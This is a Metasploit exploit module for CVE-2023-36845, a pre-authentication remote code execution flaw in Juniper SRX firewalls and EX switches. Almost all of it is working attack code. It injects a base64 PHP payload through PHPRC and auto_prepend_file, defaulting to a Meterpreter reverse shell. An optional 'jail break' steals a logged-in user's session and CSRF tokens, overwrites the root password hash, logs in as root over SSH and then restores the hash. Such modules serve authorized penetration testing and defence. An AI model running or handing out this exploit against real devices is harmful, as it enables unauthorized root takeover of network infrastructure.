Juniper SRX Firewall / EX Switch Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'unix_crypt'  
require 'net/ssh'  
require 'net/ssh/command_stream'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::SSH  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Junos OS PHPRC Environment Variable Manipulation RCE',  
'Description' => %q{  
This module exploits a PHP environment variable manipulation vulnerability affecting Juniper SRX firewalls  
and EX switches. The affected Juniper devices run FreeBSD and every FreeBSD process can access their stdin  
by opening /dev/fd/0. The exploit also makes use of two useful PHP features. The first being  
'auto_prepend_file' which causes the provided file to be added using the 'require' function. The second PHP  
function is 'allow_url_include' which allows the use of URL-aware fopen wrappers. By enabling  
allow_url_include, the exploit can use any protocol wrapper with auto_prepend_file. The module then uses  
data:// to provide a file inline which includes the base64 encoded PHP payload.  
  
By default this exploit returns a session confined to a FreeBSD jail with limited functionality. There is a  
datastore option 'JAIL_BREAK', that when set to true, will steal the necessary tokens from a user authenticated  
to the J-Web application, in order to overwrite the the root password hash. If there is no user  
authenticated to the J-Web application this method will not work. The module then authenticates  
with the new root password over SSH and then rewrites the original root password hash to /etc/master.passwd.  
},  
'Author' => [  
'Jacob Baines', # Analysis  
'Ron Bowes', # Jail break technique + Target setup instructions  
'jheysel-r7' # Msf module  
],  
'References' => [  
[ 'URL', 'https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/'],  
[ 'URL', 'https://vulncheck.com/blog/juniper-cve-2023-36845'],  
[ 'URL', 'https://supportportal.juniper.net/s/article/2023-08-Out-of-Cycle-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution?language=en_US'],  
[ 'CVE', '2023-36845']  
],  
'License' => MSF_LICENSE,  
'Platform' => %w[php unix],  
'Privileged' => false,  
'Arch' => [ARCH_PHP, ARCH_CMD],  
'Targets' => [  
[  
'PHP In-Memory',  
{  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php_memory,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp',  
'RPORT' => 80  
}  
},  
],  
[  
'Interactive SSH with jail break',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'Type' => :nix_stream,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/interact',  
'WfsDelay' => 30  
},  
'Payload' => {  
'Compat' => {  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find'  
}  
}  
}  
]  
  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-08-17',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ CONFIG_CHANGES ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
  
register_options([  
OptString.new('TMP_ROOT_PASSWORD', [ true, 'If target is set to "Interactive SSH with jail break", the root user\'s password will be temporarily changed to this password', rand_text_alphanumeric(24)]),  
OptPort.new('SSH_PORT', [true, 'SSH port of Junos Target', 22]),  
OptInt.new('SSH_TIMEOUT', [ true, 'The maximum acceptable amount of time to negotiate a SSH session', 30])  
])  
end  
  
def check  
non_existent_file = rand_text_alphanumeric(8..16)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'data' => "LD_PRELOAD=/tmp/#{non_existent_file}"  
)  
  
return CheckCode::Appears('Environment variable manipulation succeeded indicating this target is vulnerable.') if res && res.body.include?("Cannot open \"/tmp/#{non_existent_file}\"")  
  
CheckCode::Safe('Environment variable manipulation failed indicating this target is not vulnerable.')  
end  
  
def send_php_exploit(phprc, file_contents)  
post_data = "allow_url_include=1\n"  
post_data << "auto_prepend_file=\"data://text/plain;base64,#{Rex::Text.encode_base64(file_contents)}\""  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'POST',  
'data' => post_data,  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_get' => {  
'PHPRC' => phprc  
}  
)  
end  
  
def get_php_session_id  
get_var_sess = "<?php print_r(scandir('/var/sess'));?>"  
res = send_php_exploit('/dev/fd/0', get_var_sess)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200  
  
php_session_id = res.body.scan(/\[\d+\] => sess_(.*)/).flatten[0]  
  
fail_with(Failure::UnexpectedReply, "Failed to retrieve a PHP Session ID. There might not be a user logged in at the moment which would cause this to fail.\n Try setting JAIL_BREAK to false to in order to get a session as the 'nobody' user. Or try again when a there is a user authenticated to the J-Web application.") unless php_session_id  
print_status("Found PHPSESSID: #{php_session_id}.")  
php_session_id  
end  
  
def get_csrf_token(php_session_id)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'diagnose'),  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => "PHPSESSID=#{php_session_id}"  
},  
'vars_get' => {  
'm[]' => 'pinghost'  
}  
)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200  
  
csrf_token = res.get_html_document.xpath("//input[@type='hidden' and @name='csrf_token']/@value").text  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve a csrf token') unless csrf_token  
print_status("Found csrf token: #{csrf_token}.")  
csrf_token  
end  
  
def get_encrypted_root_password(php_session_id, csrf_token)  
post_data = "rs=get_cli_data&rsargs[]=getQuery&csrf_token=#{csrf_token}&key=1"  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'jsdm', 'ajax', 'cli-editor.php'),  
'method' => 'POST',  
'data' => post_data,  
'ctype' => 'application/x-www-form-urlencoded',  
'headers' =>  
{  
'Cookie' => "PHPSESSID=#{php_session_id}"  
}  
)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200  
  
# The body of the above request is formatted like so:  
  
## Last changed: 2023-09-25 13:00:49 UTC  
# version 20200609.165031.6_builder.r1115480;  
# system {  
# host-name JUNOS;  
# root-authentication {  
# encrypted-password "$6$yMwZY.o0$WwCZgzN7FTDfhSvkum0y9ry/nu4yWOQcgW.JJz0vJapf5P6XHoCsigsz94oEKSPO5efKFP/JhhN3/FCKvB0Hp.";  
# }  
# login {  
# user admin {  
# uid 2000;  
# class super-user;  
# authentication {  
# encrypted-password "$6$65gs/MrK$DNpVWfIocQ.rG/ThjZXjRI/yha/lf1UImNKivq.T1K4yLW60PWFrcQakoP6mwHT9Cr3xQZZfomKSTRXWl2aWj1";  
# }  
# }  
  
fail_with(Failure::UnexpectedReply, 'ssh root-login is not permitted on the device thus the module will not be able to establish a session or restore the original root password.') unless res.body.scan(/"ssh\s+\{\n\s+root-login\s+allow;"/)  
# Multiple passwords are displayed in the output, ensure we grab the encrypted-password that belongs to the  
# root-authentication configuration with the following regex:  
og_encrypted_root_pass = res.body.scan(/root-authentication\s+\{\n\s+encrypted-password\s+"(.+)"/).flatten[0]  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the encrypted root password from the response') unless og_encrypted_root_pass  
  
print_status("Original encrypted root password: #{og_encrypted_root_pass}")  
og_encrypted_root_pass  
end  
  
def set_root_password(php_session_id, csrf_token, password_hash)  
post_data = "&current-path=/system/root-authentication/&csrf_token=#{csrf_token}&key=1&JTK-FIELD-encrypted-password=#{password_hash}"  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'editor', 'edit', 'configuration', 'system', 'root-authentication'),  
'method' => 'POST',  
'data' => post_data,  
'ctype' => 'application/x-www-form-urlencoded',  
'headers' =>  
{  
'Cookie' => "PHPSESSID=#{php_session_id}"  
},  
'vars_get' => {  
'action' => 'commit'  
}  
)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200  
  
unless res.get_html_document.xpath("//body/div[@class='commit-status' and @id='systest-commit-status-div']").text == 'Success'  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})")  
end  
print_status("Successfully changed the root user's password ")  
end  
  
def ssh_login  
ssh_opts = ssh_client_defaults.merge({  
port: datastore['SSH_PORT'],  
auth_methods: ['password'],  
password: datastore['TMP_ROOT_PASSWORD']  
})  
  
begin  
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do  
Net::SSH.start(rhost, 'root', ssh_opts)  
end  
rescue Net::SSH::Exception => e  
vprint_error("#{e.class}: #{e.message}")  
return nil  
end  
  
if ssh  
Net::SSH::CommandStream.new(ssh)  
end  
end  
  
def exploit  
case target['Type']  
when :nix_stream  
print_status("Attempting to break out of FreeBSD jail by changing the root user's password, establishing an SSH session and then rewriting the original root user's password hash to /etc/master.passwd.")  
print_warning("This requires a user is authenticated to the J-Web application in order to steal a session token, also 'ssh root-login' is set to 'allow' on the device")  
php_session_id = get_php_session_id  
csrf_token = get_csrf_token(php_session_id)  
@og_encrypted_root_pass = get_encrypted_root_password(php_session_id, csrf_token)  
tmp_password_hash = UnixCrypt::SHA512.build(datastore['TMP_ROOT_PASSWORD'])  
print_status "Temporary root password Hash: #{tmp_password_hash}"  
set_root_password(php_session_id, csrf_token, tmp_password_hash)  
  
if (ssh = ssh_login)  
print_good('Logged in as root')  
handler(ssh.lsock)  
end  
  
set_root_password(php_session_id, csrf_token, @og_encrypted_root_pass)  
  
when :php_memory  
send_php_exploit('/dev/fd/0', payload.encoded)  
else  
fail_with(Failure::BadConfig, 'Please select a valid target.')  
end  
end  
end  
`